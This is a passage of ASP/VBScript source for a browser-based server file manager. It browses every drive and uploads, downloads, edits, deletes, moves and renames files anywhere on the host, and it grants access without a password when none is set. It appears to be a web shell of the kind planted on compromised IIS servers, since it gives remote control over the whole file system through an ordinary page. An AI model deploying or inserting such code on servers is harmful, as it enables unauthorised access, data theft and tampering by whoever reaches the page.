  1353.         if intCount>0 then Response.Write "<p>" & objFolder.SubFolders.Count & " subfolder(s)<br>" & vbNewLine & objFolder.Files.Count & " file(s)<br>" & vbNewLine
  1354.  
  1355.         if bSize then Response.Write "(" & FormatSize(objFolder.Size) & ")<br>" & vbNewLine
  1356.  
  1357. %>
  1358.  
  1359. <p>
  1360.  
  1361. <table border=1 width=100%>
  1362.  
  1363. <tr>
  1364.  
  1365.  <td><b>N</b>ame</td>
  1366.  
  1367.  <td align=center><b>S</b>ize</td>
  1368.  
  1369.  <td align=center><b>T</b>ype</td>
  1370.  
  1371.  <td align=center><b>M</b>odified</td>
  1372.  
  1373.  <td><b>A</b>ttributes</td>
  1374.  
  1375.  <td><b>A</b>ctions</td>
  1376.  
  1377. <tr>
  1378.  
  1379. <%
  1380.  
  1381.         if not isroot(targetPath) then
  1382.  
  1383. %>
  1384.  
  1385. <tr>
  1386.  
  1387.  <td><a href="javascript:Command('LevelRoot')" title="Up Root Level">\</a></td>
  1388.  
  1389.  <td>&nbsp;</td>
  1390.  
  1391.  <td align=center>Root</td>
  1392.  
  1393.  <td>&nbsp;</td>
  1394.  
  1395.  <td>&nbsp;</td>
  1396.  
  1397.  <td>&nbsp;</td>
  1398.  
  1399. </tr>
  1400.  
  1401. <tr>
  1402.  
  1403.  <td><a href="javascript:Command('LevelUp')" title="Up One level">..</a></td>
  1404.  
  1405.  <td>&nbsp;</td>
  1406.  
  1407.  <td align=center>Up</td>
  1408.  
  1409.  <td>&nbsp;</td>
  1410.  
  1411.  <td>&nbsp;</td>
  1412.  
  1413.  <td>&nbsp;</td>
  1414.  
  1415. </tr>
  1416.  
  1417. <%
  1418.  
  1419.         end if
  1420.  
  1421.         if intCount>0 then
  1422.  
  1423.             HtmlJsForm()
  1424.  
  1425. %>
  1426.  
  1427. <form name=theForm method=post action="<%=gURL%>">
  1428.  
  1429. <input type=hidden name=command value="">
  1430.  
  1431. <input type=hidden name=folder value="<%=targetPath%>">
  1432.  
  1433. <%
  1434.  
  1435.             for each item in objFolder.SubFolders
  1436.  
  1437.                 count=count+1
  1438.  
  1439.                 Response.Write "<tr>" & vbNewLine
  1440.  
  1441.                 Response.Write " <td><a href=""javascript:Command('OpenFolder',"" & item.Name & "")"""
  1442.  
  1443.                 if Len(item.Name)>gMax then Response.Write " title=""" & item.Name & """"
  1444.  
  1445.                 Response.Write ">" & FormatName(item.Name) & "</a></td>" & vbNewLine
  1446.  
  1447.                 Response.Write " <td align=right>&nbsp;</td>" & vbNewLine
  1448.  
  1449.                 Response.Write " <td align=center>DIR</td>" & vbNewLine
  1450.  
  1451.                 Response.Write " <td align=center>" & FormatDate(item.DateLastModified ) & "</td>" & vbNewLine
  1452.  
  1453.                 Response.Write " <td>" & GetAttributes(item.Attributes) & "</td>" & vbNewLine
  1454.  
  1455.                 Response.Write " <td><input type=checkbox name=d value=""" & item.Name & """><input type=button value=Ren onclick=""Command('RenameFolder',"" & item.Name & "")""><input type=button value=Attr onclick=""Command('ChangeAttributesFolder',"" & item.Name & "")""></td>" & vbNewLine
  1456.  
  1457.                 Response.Write "</tr>" & vbNewLine
  1458.  
  1459.             next
  1460.  
  1461.             for each item in objFolder.Files
  1462.  
  1463.                 count=count+1
  1464.  
  1465.                 Response.Write "<tr>" & vbNewLine
  1466.  
  1467.                 Response.Write " <td><a href=""javascript:Command('Download',"" & item.Name & "&#34)"""
  1468.  
  1469.                 ext=FSO.GetExtensionName(addslash(targetPath) & item.Name)
  1470.  
  1471.                 re.IgnoreCase = true
  1472.  
  1473.                 re.Pattern = "^" & ext & ",|," & ext & ",|," & ext & "$"
  1474.  
  1475.                 if re.Test(lnkExt) then
  1476.  
  1477.                     Response.Write " title=""-> " & Server.Htmlencode(FindLink(addslash(targetPath) & item.Name)) & """"
  1478.  
  1479.                 elseif Len(item.Name)>gMax then
  1480.  
  1481.                     Response.Write " title=""" & item.Name & """"
  1482.  
  1483.                 end if
  1484.  
  1485.  
  1486.  
  1487.                 Response.Write ">" & FormatName(item.Name) & "</td>" & vbNewLine
  1488.  
  1489.                 Response.Write " <td align=right>" & FormatSize(item.Size) & "</td>" & vbNewLine
  1490.  
  1491.                 Response.Write " <td align=center>" & item.Type & "</td>" & vbNewLine
  1492.  
  1493.                 Response.Write " <td align=center>" & FormatDate(item.DateLastModified ) & "</td>" & vbNewLine
  1494.  
  1495.                 Response.Write " <td>" & GetAttributes(item.Attributes) & "</td>" & vbNewLine
  1496.  
  1497.                 Response.Write " <td><input type=checkbox name=f value=""" & item.Name & """><input type=button value=Ren onclick=""Command('RenameFile',"" & item.Name & "")""><input type=button value=Attr onclick=""Command('ChangeAttributesFile',"" & item.Name & "")"">"
  1498.  
  1499.  
  1500.  
  1501.                 if re.Test(editExt) then
  1502.  
  1503.                     Response.Write "<input type=button value=Edit onclick=""Command('Edit',"" & item.Name & "")"">"
  1504.  
  1505.                 end if
  1506.  
  1507.                
  1508.  
  1509.                 if Lcase(ext)="zip" then
  1510.  
  1511.                     Response.Write "<input type=button value=Info onclick=""Command('ZipInfo',"" & item.Name & "")"">"
  1512.  
  1513.                 end if
  1514.  
  1515.  
  1516.  
  1517.                 Response.Write "</td>" & vbNewLine
  1518.  
  1519.                 Response.Write "</tr>" & vbNewLine
  1520.  
  1521.             next
  1522.  
  1523.             if count>0 then
  1524.  
  1525. %>
  1526.  
  1527. <tr>
  1528.  
  1529.  <td>&nbsp;</td>
  1530.  
  1531.  <td>&nbsp;</td>
  1532.  
  1533.  <td>&nbsp;</td>
  1534.  
  1535.  <td>&nbsp;</td>
  1536.  
  1537.  <td>&nbsp;</td>
  1538.  
  1539.  <td><input type=checkbox name=allbox title="Select All" onClick="CheckAll()"><input type=button value=Delete title="Delete Selected Item(s)" onClick="DoWork('Delete')"></td>
  1540.  
  1541. </tr>
  1542.  
  1543. <%
  1544.  
  1545.             end if
  1546.  
  1547. %>
  1548.  
  1549. </table>
  1550.  
  1551. <%
  1552.  
  1553.         if count>1 then
  1554.  
  1555. %>
  1556.  
  1557. <p>
  1558.  
  1559. <table>
  1560.  
  1561. <tr><td><b>C</b>opy selected item(s) to</td><td><input type=text name=cp value="<%=Session("cp_dst")%>" size=50 onKeyDown=" if (event.keyCode==13) theForm.cp_bt.click();"> <input type=button id=cp_bt value=Copy onClick="DoWork('Copy')"></td></tr>
  1562.  
  1563. <tr><td><b>M</b>ove selected item(s) to</td><td><input type=text name=mv value="<%=Session("mv_dst")%>" size=50 onKeyDown=" if (event.keyCode==13) theForm.mv_bt.click();"> <input type="button" id=mv_bt value=Move onClick="DoWork('Move')"></td></tr>
  1564.  
  1565. </table>
  1566.  
  1567. <%
  1568.  
  1569.     end if
  1570.  
  1571. %>
  1572.  
  1573. </form>
  1574.  
  1575. </table>
  1576.  
  1577. <%
  1578.  
  1579.         end if
  1580.  
  1581.         set objFolder=nothing
  1582.  
  1583. %>
  1584.  
  1585. <p><b>U</b>pload file(s) to "<%=targetPath%>"
  1586.  
  1587. <form name=frmUpload method=post enctype="multipart/form-data" action="<%=gURL%>">
  1588.  
  1589. <input type=hidden name=folder value="<%=targetPath%>">
  1590.  
  1591. Max: <input type=text name=max value=5 size=5> <input type=button value=# onClick="setid()"><br>
  1592.  
  1593. <table>
  1594.  
  1595. <tr>
  1596.  
  1597. <td id=upid>
  1598.  
  1599. </td>
  1600.  
  1601. </tr>
  1602.  
  1603. </table>
  1604.  
  1605. <input type=submit value=Upload>
  1606.  
  1607. </form>
  1608.  
  1609. <script>
  1610.  
  1611. setid();
  1612.  
  1613. function setid() {
  1614.  
  1615.     str='<br>';
  1616.  
  1617.     if (frmUpload.max.value<=0) frmUpload.max.value=1;
  1618.  
  1619.     for (i=1; i<=frmUpload.max.value; i++) str+='File '+i+': <input type=file name=file'+i+'><br>';
  1620.  
  1621.     upid.innerHTML=str+'<br>';
  1622.  
  1623. }
  1624.  
  1625. </script>
  1626.  
  1627. <%
  1628.  
  1629.     end if
  1630.  
  1631. %>
  1632.  
  1633. <form name=frmFile method=post action="<%=gURL%>">
  1634.  
  1635. <input type=hidden name=command value="">
  1636.  
  1637. <input type=hidden name=param value="">
  1638.  
  1639. <input type=hidden name=folder value="<%=targetPath%>">
  1640.  
  1641. </form>
  1642.  
  1643. <script>frmAddress.param.focus()</script>
  1644.  
  1645. <%
  1646.  
  1647.     HtmlJsCommand()
  1648.  
  1649. end sub
  1650.  
  1651.  
  1652.  
  1653. '###########################################################################################
  1654.  
  1655.  
  1656.  
  1657. sub Upload()
  1658.  
  1659.     dim objUpload,f,max,i,name,path,size,success
  1660.  
  1661.    
  1662.  
  1663.     HtmlHeader("")
  1664.  
  1665.     HtmlMode()
  1666.  
  1667.    
  1668.  
  1669.     set objUpload=New clsUpload
  1670.  
  1671.  
  1672.  
  1673.     targetPath=objUpload.Fields("folder").Value
  1674.  
  1675.     max=objUpload.Fields("max").Value
  1676.  
  1677.  
  1678.  
  1679.     gMsg= "<b>U</b>pload..." & vbNewLine
  1680.  
  1681.  
  1682.  
  1683.     for i=1 to max
  1684.  
  1685.         name=objUpload.Fields("file" & i).FileName
  1686.  
  1687.         size=objUpload.Fields("file" & i).Length
  1688.  
  1689.         if (name<>"") and (size>0) then
  1690.  
  1691.             gMsg=gMsg & "<br>" & vbNewLine & "- " & name & " (" & FormatNumber(size,0) & " bytes): "
  1692.  
  1693.             path=addslash(targetPath) & name
  1694.  
  1695.             objUpload.Fields("file" & i).SaveAs path
  1696.  
  1697.             if FSO.FileExists(path) then
  1698.  
  1699.                 on error resume next
  1700.  
  1701.                 set f=FSO.GetFile(path)
  1702.  
  1703.                 if IsObject(f) then
  1704.  
  1705.                     if f.Size=size then success=true else success=false
  1706.  
  1707.                 end if
  1708.  
  1709.                 set f=nothing
  1710.  
  1711.             end if
  1712.  
  1713.             if success then  gMsg=gMsg & "success" else gMsg = gMsg & "fail"
  1714.  
  1715.         end if
  1716.  
  1717.     next
  1718.  
  1719.  
  1720.  
  1721.     set objUpload=nothing
  1722.  
  1723.  
  1724.  
  1725.     List()
  1726.  
  1727.     HtmlFooter()
  1728.  
  1729.     Destroy()
  1730.  
  1731. end sub
  1732.  
  1733.  
  1734.  
  1735. '###########################################################################################
  1736.  
  1737.  
  1738.  
  1739. sub Download()
  1740.  
  1741.     dim oStream
  1742.  
  1743.     dim szFileName
  1744.  
  1745.     szFileName=addslash(Request.Form("folder")) & Request.form("Param")
  1746.  
  1747.     if FSO.FileExists(szFileName) then
  1748.  
  1749.         set oStream=Server.CreateObject("ADODB.Stream")
  1750.  
  1751.         oStream.Type=1
  1752.  
  1753.         oStream.Open
  1754.  
  1755.         on error resume next
  1756.  
  1757.         oStream.LoadFromFile(szFileName)
  1758.  
  1759.         if Err.Number=0 then
  1760.  
  1761.             Response.AddHeader "Content-Disposition", "attachment; filename=" & FSO.GetFileName(szFileName)
  1762.  
  1763.             Response.AddHeader "Content-Length", oStream.Size
  1764.  
  1765.             Response.ContentType="bad/type" 'yeu cau ie hien hop thoai save-as
  1766.  
  1767.             Response.BinaryWrite oStream.Read
  1768.  
  1769.         end if
  1770.  
  1771.         oStream.Close
  1772.  
  1773.         set oStream=nothing
  1774.  
  1775.     end if
  1776.  
  1777.     Destroy()
  1778.  
  1779. end sub
  1780.  
  1781.  
  1782.  
  1783. '###########################################################################################
  1784.  
  1785.  
  1786.  
  1787. sub Logout()
  1788.  
  1789.     Session.Abandon
  1790.  
  1791.     Response.Redirect gURL
  1792.  
  1793.     Destroy()
  1794.  
  1795. end sub
  1796.  
  1797.  
  1798.  
  1799. sub Init()
  1800.  
  1801.     Session("switch")=false
  1802.  
  1803.     set FSO=Server.CreateObject("Scripting.FileSystemObject")
  1804.  
  1805.     set re=new regexp
  1806.  
  1807. end sub
  1808.  
  1809.  
  1810.  
  1811. sub Destroy()
  1812.  
  1813.     set FSO=nothing
  1814.  
  1815.     set re=nothing
  1816.  
  1817.     Response.End
  1818.  
  1819. end sub
  1820.  
  1821.  
  1822.  
  1823. '###########################################################################################
  1824.  
  1825.  
  1826.  
  1827. sub Secure()
  1828.  
  1829.     if (Session("allow")=1) then exit sub
  1830.  
  1831.     if (gPassword="") then
  1832.  
  1833.         Session("allow")=1
  1834.  
  1835.         Session("mode")=0
  1836.  
  1837.         exit sub
  1838.  
  1839.     end if
  1840.  
  1841.     if (Request.Form("command")="Login") then
  1842.  
  1843.         if Request.Form("password")=gPassword then
  1844.  
  1845.             Session("allow")=1
  1846.  
  1847.             Session("mode")=CInt(Request.Form("mode"))
  1848.  
  1849.             exit sub
  1850.  
  1851.         end if
  1852.  
  1853.     end if
  1854.  
  1855.  
  1856.  
  1857.     HtmlHeader("")
  1858.  
  1859. %>
  1860.  
  1861.  
  1862.  
  1863.  
  1864.  
  1865. <%
  1866.  
  1867.     HtmlFooter()
  1868.  
  1869.     Destroy()
  1870.  
  1871. end sub
  1872.  
  1873.  
  1874.  
  1875. '###########################################################################################
  1876.  
  1877.  
  1878.  
  1879. sub HtmlJsForm()
  1880.  
  1881. %>
  1882.  
  1883. <script>
  1884.  
  1885. function CheckAll() {
  1886.  
  1887.     var fmobj=document.theForm;
  1888.  
  1889.     for (var i=0; i<fmobj.elements.length;i++) {
  1890.  
  1891.         var e=fmobj.elements[i];
  1892.  
  1893.         if ((e.name!='allbox') && (e.type=='checkbox') && (!e.disabled)) {
  1894.  
  1895.             e.checked=fmobj.allbox.checked;
  1896.  
  1897.         }
  1898.  
  1899.     }
  1900.  
  1901.     if (fmobj.allbox.checked) {
  1902.  
  1903.         fmobj.allbox.title='Clear All';
  1904.  
  1905.     } else {
  1906.  
  1907.         fmobj.allbox.title='Select All';
  1908.  
  1909.     }
  1910.  
  1911. }
  1912.  
  1913.  
  1914.  
  1915. function DoWork(cmd) {
  1916.  
  1917.     var s;
  1918.  
  1919.     var fmobj=document.theForm;
  1920.  
  1921.     var total=0;
  1922.  
  1923.     for (var i=0; i<fmobj.elements.length; i++) {
  1924.  
  1925.         var e=fmobj.elements[i];
  1926.  
  1927.         if ((e.name!='allbox') && (e.type=='checkbox') && (e.checked)) total++;
  1928.  
  1929.     }
  1930.  
  1931.  
  1932.  
  1933.     if (total<1) return;
  1934.  
  1935.    
  1936.  
  1937.     s=(total>1)?'s':'';
  1938.  
  1939.  
  1940.  
  1941.     switch (cmd) {
  1942.  
  1943.         case "Delete":
  1944.  
  1945.             if (!confirm('Are you sure to delete ' + total + ' selected item' + s + ' ?')) return;
  1946.  
  1947.             break;
  1948.  
  1949.         case "Move":
  1950.  
  1951.             var mv=fmobj.mv.value;
  1952.  
  1953.             var re1=/^\s*[A-Z]{1}:[^\"\*\?\<\>\|]*\s*$/gi;
  1954.  
  1955.             var re2=/^\s*:{1}[^\s]+/gi;
  1956.  
  1957.             if (mv=='') return;
  1958.  
  1959.             if ( re1.test(mv) || re2.test(mv) ){
  1960.  
  1961.                 if (!confirm('Are you sure to move ' + total + ' selected item' + s + ' to "' + mv + '" ?')) return;
  1962.  
  1963.             } else {
  1964.  
  1965.                 alert('Invalid path name !');
  1966.  
  1967.                 return;
  1968.  
  1969.             }
  1970.  
  1971.             break;
  1972.  
  1973.         case "Copy":
  1974.  
  1975.             var cp=fmobj.cp.value;
  1976.  
  1977.             var re1=/^\s*[A-Z]{1}:[^\"\*\?\<\>\|]*\s*$/gi;
  1978.  
  1979.             var re2=/^\s*:{1}[^\s]+/gi;
  1980.  
  1981.             if (cp=='') return;
  1982.  
  1983.             if ( re1.test(cp) || re2.test(cp) ) {
  1984.  
  1985.             } else {
  1986.  
  1987.                 alert('Invalid path name !');
  1988.  
  1989.                 return;
  1990.  
  1991.             }
  1992.  
  1993.             break;
  1994.  
  1995.         default:
  1996.  
  1997.             return;
  1998.  
  1999.     }
  2000.  
  2001.  
  2002.  
  2003.     fmobj.command.value=cmd;
  2004.  
  2005.     fmobj.submit();
  2006.  
  2007. }
  2008.  
  2009. </script>
  2010.  
  2011. <%
  2012.  
  2013. end sub
  2014.  
  2015.  
  2016.  
  2017. '###########################################################################################
  2018.  
  2019.  
  2020.  
  2021. sub HtmlJsCommand()
  2022.  
  2023. %>
  2024.  
  2025. <script>
  2026.  
  2027.     function openWin(winName, urlLoc, w, h, showStatus, isViewer) {
  2028.  
  2029.         l = (screen.availWidth - w)/2;
  2030.  
  2031.         t = (screen.availHeight - h)/2;
  2032.  
  2033.         features  = "toolbar=no";      // yes|no
  2034.  
  2035.         features += ",location=no";    // yes|no
  2036.  
  2037.         features += ",directories=no"; // yes|no
  2038.  
  2039.         features += ",status=" + (showStatus?"yes":"no");  // yes|no
  2040.  
  2041.         features += ",menubar=no";     // yes|no
  2042.  
  2043.         features += ",scrollbars=" + (isViewer?"yes":"no");   // auto|yes|no
  2044.  
  2045.         features += ",resizable=" + (isViewer?"yes":"no");   // yes|no
  2046.  
  2047.         features += ",dependent";      // close the parent, close the popup, omit if you want otherwise
  2048.  
  2049.         features += ",height=" + h;
  2050.  
  2051.         features += ",width=" + w;
  2052.  
  2053.         features += ",left=" + l;
  2054.  
  2055.         features += ",top=" + t;
  2056.  
  2057.         winName = winName.replace(/[^a-z]/gi,"_");
  2058.  
  2059.         return window.open(urlLoc,winName,features);
  2060.  
  2061.     }
  2062.  
  2063.    
  2064.  
  2065.     function createPage (theWin, cmd, param){
  2066.  
  2067.         frmFile.target = theWin.name;
  2068.  
  2069.         frmFile.command.value = cmd;
  2070.  
  2071.         frmFile.param.value = param;
  2072.  
  2073.         frmFile.submit();
  2074.  
  2075.     }
  2076.  
  2077.  
  2078.  
  2079.     function CheckName(str) {
  2080.  
  2081.         var re;
  2082.  
  2083.         re = /[\\/:*?"<>|]/gi;
  2084.  
  2085.         if (re.test(str)) return false;
  2086.  
  2087.         else return true;
  2088.  
  2089.     }  
  2090.  
  2091.  
  2092.  
  2093.     function Command(cmd, param) {
  2094.  
  2095.         var str;
  2096.  
  2097.         var someWin;
  2098.  
  2099.         switch (cmd) {
  2100.  
  2101.             case "Tree":
  2102.  
  2103.                 str = prompt("Please enter a name for the folder to tree", frmFile.folder.value);
  2104.  
  2105.                 if (!str) return;
  2106.  
  2107.                 var re1=/^\s*[A-Z]{1}:[^\"\*\?\<\>\|]*\s*$/gi;
  2108.  
  2109.                 var re2=/^\s*:{1}[^\s]+/gi;
  2110.  
  2111.                 if (re1.test(str) || re2.test(str)) {
  2112.  
  2113.                     var winName=cmd + document.forms.frmFile.param.value;
  2114.  
  2115.                     param=str;
  2116.  
  2117.                     document.forms.frmFile.param.value=param;
  2118.  
  2119.                     winName=winName.replace(/[^a-z]/gi,"_");
  2120.  
  2121.                     someWin=window.open("", winName, "toolbar=yes,location=no,directories=no,status=yes,menubar=yes,scrollbars=yes,resizable=yes");
  2122.  
  2123.                     someWin.focus();
  2124.  
  2125.                     createPage(someWin,cmd,param);
  2126.  
  2127.                     someWin = null;
  2128.  
  2129.                     return;
  2130.  
  2131.                 }
  2132.  
  2133.                 else {
  2134.  
  2135.                     alert('Invalid path name !');
  2136.  
  2137.                     return;
  2138.  
  2139.                 }
  2140.  
  2141.                 break;
  2142.  
  2143.             case "NewFile":
  2144.  
  2145.                 str = prompt("Please enter a name for the new file", "New File");
  2146.  
  2147.                 if(!str) return;
  2148.  
  2149.                 else if (!CheckName(str)) {alert("File name can not contain any of the\nfollowing characters: \\ / : * ? \" < > |"); return;}
  2150.  
  2151.                 frmFile.param.value = str;
  2152.  
  2153.                 break;
  2154.  
  2155.             case "NewFolder":
  2156.  
  2157.                 str = prompt("Please enter a name for the new folder", "New Folder");
  2158.  
  2159.                 if(!str) return;
  2160.  
  2161.                 else if (!CheckName(str)) {alert("Folder name can not contain any of the\nfollowing characters: \\ / : * ? \" < > |"); return;}
  2162.  
  2163.                 frmFile.param.value = str;
  2164.  
  2165.                 break;
  2166.  
  2167.                         case "RenameFile":
  2168.  
  2169.                 str = prompt("Please enter the new name for the file", param);
  2170.  
  2171.                 if (!str || (str==param)) return;
  2172.  
  2173.                 else if (!CheckName(str)) {alert("File name can not contain any of the\nfollowing characters: \\ / : * ? \" < > |"); return;}
  2174.  
  2175.                 frmFile.param.value = param + "|" + str;
  2176.  
  2177.                 break;
  2178.  
  2179.             case "RenameFolder":
  2180.  
  2181.                 str = prompt("Please enter the new name for the folder", param);
  2182.  
  2183.                 if (!str || (str==param)) return;
  2184.  
  2185.                 else if (!CheckName(str)) {alert("Folder name can not contain any of the\nfollowing characters: \\ / : * ? \" < > |"); return;}
  2186.  
  2187.                 frmFile.param.value = param + "|" + str;
  2188.  
  2189.                 break;
  2190.  
  2191.             case "Edit":
  2192.  
  2193.                 str = frmFile.folder.value + param;
  2194.  
  2195.                 someWin = openWin(cmd + str, "", 600, 440, true, false);
  2196.  
  2197.                 someWin.focus();
  2198.  
  2199.                 createPage(someWin,cmd,param);
  2200.  
  2201.                 someWin = null;
  2202.  
  2203.                 return;
  2204.  
  2205.                 break;
  2206.  
  2207.             case "ChangeAttributesFile":
  2208.  
  2209.             case "ChangeAttributesFolder":
  2210.  
  2211.                 str = frmFile.folder.value + param;
  2212.  
  2213.                 someWin = openWin(cmd + str, "", 300, 160, true, false);
  2214.  
  2215.                 someWin.focus();
  2216.  
  2217.                 createPage(someWin,cmd,param);
  2218.  
  2219.                 someWin = null;
  2220.  
  2221.                 return;
  2222.  
  2223.                 break;
  2224.  
  2225.             case "ZipInfo":
  2226.  
  2227.                 var winName=cmd + document.forms.frmFile.folder.value + param;
  2228.  
  2229.                 winName=winName.replace(/[^a-z]/gi,"_");
  2230.  
  2231.                 someWin=window.open("", winName, "toolbar=yes,location=no,directories=no,status=yes,menubar=yes,scrollbars=yes,resizable=yes");
  2232.  
  2233.                 someWin.focus();
  2234.  
  2235.                 createPage(someWin,cmd,param);
  2236.  
  2237.                 someWin = null;
  2238.  
  2239.                 return;
  2240.  
  2241.                 break
  2242.  
  2243.             default:
  2244.  
  2245.                 frmFile.param.value = param;
  2246.  
  2247.         }
  2248.  
  2249.         frmFile.target = "";
  2250.  
  2251.         frmFile.command.value = cmd
  2252.  
  2253.         frmFile.submit();  
  2254.  
  2255.     }
  2256.  
  2257. </script>
  2258.  
  2259. <%
  2260.  
  2261. end sub
  2262.  
  2263.  
  2264.  
  2265. sub HtmlJsEditor()
  2266.  
  2267. %>
  2268.  
  2269. <script>
  2270.  
  2271.     function EditorCommand (cmd) {
  2272.  
  2273.         switch (cmd) {
  2274.  
  2275.             case "WordWrap":
  2276.  
  2277.                 if (frmFile.wrap.checked) frmFile.content.wrap="soft";
  2278.  
  2279.                 else frmFile.content.wrap="off";
  2280.  
  2281.                 frmFile.content.focus();
  2282.  
  2283.                 break;
  2284.  
  2285.             case "Reload":
  2286.  
  2287.                 frmFile.reset();
  2288.  
  2289.                 break;
  2290.  
  2291.             case "Save":
  2292.  
  2293.                 frmFile.subcommand.value = "Save";
  2294.  
  2295.                 frmFile.submit();
  2296.  
  2297.                 break;
  2298.  
  2299.             case "SaveAs":
  2300.  
  2301.                 var str, oldname;
  2302.  
  2303.                 oldname = frmFile.param.value;
  2304.  
  2305.                 str = prompt("Save the file as :", oldname);
  2306.  
  2307.                 if (!str || str==oldname) return;
  2308.  
  2309.                 frmFile.param.value = str;
  2310.  
  2311.                 frmFile.subcommand.value = "SaveAs";
  2312.  
  2313.                 frmFile.submit();
  2314.  
  2315.                 break;
  2316.  
  2317.         }
  2318.  
  2319.     }
  2320.  
  2321. </script>
  2322.  
  2323. <%
  2324.  
  2325. end sub
  2326.  
  2327.  
  2328.  
  2329. sub HtmlQuick()
  2330.  
  2331. %>
  2332.  
  2333. <form name=frmQuick method=post action="<%=gURL%>">
  2334.  
  2335. <input type=hidden name=command value=OpenFolder>
  2336.  
  2337. <select name=param onChange="frmQuick.submit()">
  2338.  
  2339. <%
  2340.  
  2341.     dim dc,d,dName,dType
  2342.  
  2343.     set dc=FSO.Drives
  2344.  
  2345.     for each d in dc
  2346.  
  2347.         dName=d.DriveLetter&":\"
  2348.  
  2349.         select case d.DriveType
  2350.  
  2351.             case 0 dType="Unknown"
  2352.  
  2353.             case 1 if d.driveletter="A" then dType="&#189;" else dType="&#188;"
  2354.  
  2355.             dType=dType&" Floppy" 'maybe wrong
  2356.  
  2357.             case 2 dType="HDD " & FormatSize(d.TotalSize)
  2358.  
  2359.             case 3 dType="Network"
  2360.  
  2361.             case 4
  2362.  
  2363.                 dType="CD-ROM"
  2364.  
  2365.                 if not d.IsReady then dType=dType & " - not ready"
  2366.  
  2367.             case 5
  2368.  
  2369.                 dType="RAM Disk"
  2370.  
  2371.         end select
  2372.  
  2373.         Response.Write "<option value=""" & dName & """"
  2374.  
  2375.         if d.DriveLetter=Ucase(Left(targetPath,1)) then Response.Write " selected"
  2376.  
  2377.         Response.Write ">" & dName& " (" & dType & ")" & vbNewLine
  2378.  
  2379.     next
  2380.  
  2381.     set dc=nothing
  2382.  
  2383. %>
  2384.  
  2385. </select>
  2386.  
  2387. </form>
  2388.  
  2389. <form name=frmAddress method=post action="<%=gURL%>">
  2390.  
  2391. <input type=hidden name=command value=OpenFolder>
  2392.  
  2393. <b>A</b>ddress: <input type=text name=param value="<%=targetPath%>" size=90> <input type=submit value=Go>
  2394.  
  2395. </form>
  2396.  
  2397. <%
  2398.  
  2399. end sub
  2400.  
  2401.  
  2402.  
  2403. sub HtmlMode()
  2404.  
  2405. %>
  2406.  
  2407. <table>
  2408.  
  2409. <tr>
  2410.  
  2411.  
  2412.  
  2413. <%
  2414.  
  2415.     if gPassword<>"" then
  2416.  
  2417. %>
  2418.  
  2419.  
  2420.  
  2421. <%
  2422.  
  2423.     end if
  2424.  
  2425. %>
  2426.  
  2427. </tr>
  2428.  
  2429. </table>
  2430.  
  2431. <%
  2432.  
  2433. end sub
  2434.  
  2435.  
  2436.  
  2437. '###########################################################################################
  2438.  
  2439.  
  2440.  
  2441. sub HtmlHeader(strTitle)
  2442.  
  2443. %>
  2444.  
  2445. <html>
  2446.  
  2447. <head>
  2448.  
  2449. <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
  2450.  
  2451. <title><%=strTitle%></title>
  2452.  
  2453. <style>
  2454.  
  2455. select,input{font-family:Verdana;font-size:9pt}
  2456.  
  2457. </style>
  2458.  
  2459. </head>
  2460.  
  2461. <body>
  2462.  
  2463. <%
  2464.  
  2465. end sub
  2466.  
  2467.  
  2468.  
  2469. '###########################################################################################
  2470.  
  2471.  
  2472.  
  2473. sub HtmlFooter()
  2474.  
  2475. %>
  2476.  
  2477. </body>
  2478.  
  2479. </html>
  2480.  
  2481. <%
  2482.  
  2483. end sub
  2484.  
  2485.  
  2486.  
  2487. '###########################################################################################
  2488.  
  2489.  
  2490.  
  2491. function abspath(path)
  2492.  
  2493.     if left(path,1)=":" then abspath=Server.MapPath(mid(path,2)) else abspath=FSO.GetAbsolutePathName(path)
  2494.  
  2495. end function
  2496.  
  2497.  
  2498.  
  2499. '###########################################################################################
  2500.  
  2501.  
  2502.  
  2503. function addslash(path)
  2504.  
  2505.     if right(path,1)="\" then addslash=path else addslash=path & "\"
  2506.  
  2507. end function
  2508.  
  2509.  
  2510.  
  2511. '###########################################################################################
  2512.  
  2513.  
  2514.  
  2515. function findroot(path)
  2516.  
  2517.     dim f
  2518.  
  2519.  
  2520.  
  2521.     set f=FSO.GetFolder(path)
  2522.  
  2523.  
  2524.  
  2525.     if f.IsRootFolder then
  2526.  
  2527.     else
  2528.  
  2529.         do until f.IsRootFolder
  2530.  
  2531.             set f=f.ParentFolder
  2532.  
  2533.         loop
  2534.  
  2535.     end if
  2536.  
  2537.     findroot=f.Path
  2538.  
  2539.     set f=nothing
  2540.  
  2541. end function
  2542.  
  2543.  
  2544.  
  2545. '###########################################################################################
  2546.  
  2547.  
  2548.  
  2549. function isroot(path)
  2550.  
  2551.     dim f
  2552.  
  2553.     set f=FSO.GetFolder(path)
  2554.  
  2555.     isroot=f.IsRootFolder
  2556.  
  2557.     set f=nothing
  2558.  
  2559. end function
  2560.  
  2561.  
  2562.  
  2563. '###########################################################################################
  2564.  
  2565.  
  2566.  
  2567. Function FindLink(szFileName)
  2568.  
  2569.     Dim WshShell, oLink
  2570.  
  2571.  
  2572.  
  2573.     Set WshShell=Server.CreateObject("WScript.Shell")
  2574.  
  2575.     Set oLink=WshShell.CreateShortcut(szFileName)
  2576.  
  2577.  
  2578.  
  2579.     FindLink=oLink.TargetPath
  2580.  
  2581.    
  2582.  
  2583.     Set oLink=Nothing
  2584.  
  2585.     Set WshShell=Nothing
  2586.  
  2587. End Function
  2588.  
  2589.  
  2590.  
  2591. '###########################################################################################
  2592.  
  2593.  
  2594.  
  2595. Function FormatSize(intSize)
  2596.  
  2597.     If (intSize < 1024) Then
  2598.  
  2599.         FormatSize = intSize & " B"
  2600.  
  2601.     ElseIf (intSize < 1024*1024) Then
  2602.  
  2603.         FormatSize = FormatNumber(intSize/1024,2) & " KB"
  2604.  
  2605.     ElseIf (intSize < 1024*1024*1024) Then
  2606.  
  2607.         FormatSize = FormatNumber(intSize/(1024*1024),2) & " MB"
  2608.  
  2609.     Else
  2610.  
  2611.         FormatSize = FormatNumber(intSize/(1024*1024*1024),2) & " GB"
  2612.  
  2613.     End If
  2614.  
  2615. End Function
  2616.  
  2617.  
  2618.  
  2619. '###########################################################################################
  2620.  
  2621.  
  2622.  
  2623. Function FormatName(szName)
  2624.  
  2625.     FormatName = szName
  2626.  
  2627.     If gMax > 5 And Len(szName) > gMax Then FormatName = Left(szName,gMax-2) & "..."
  2628.  
  2629. End Function
  2630.  
  2631.  
  2632.  
  2633. '###########################################################################################
  2634.  
  2635.  
  2636.  
  2637. function FormatDate(strDate)
  2638.  
  2639.     dim int12HourPart,strAMPM
  2640.  
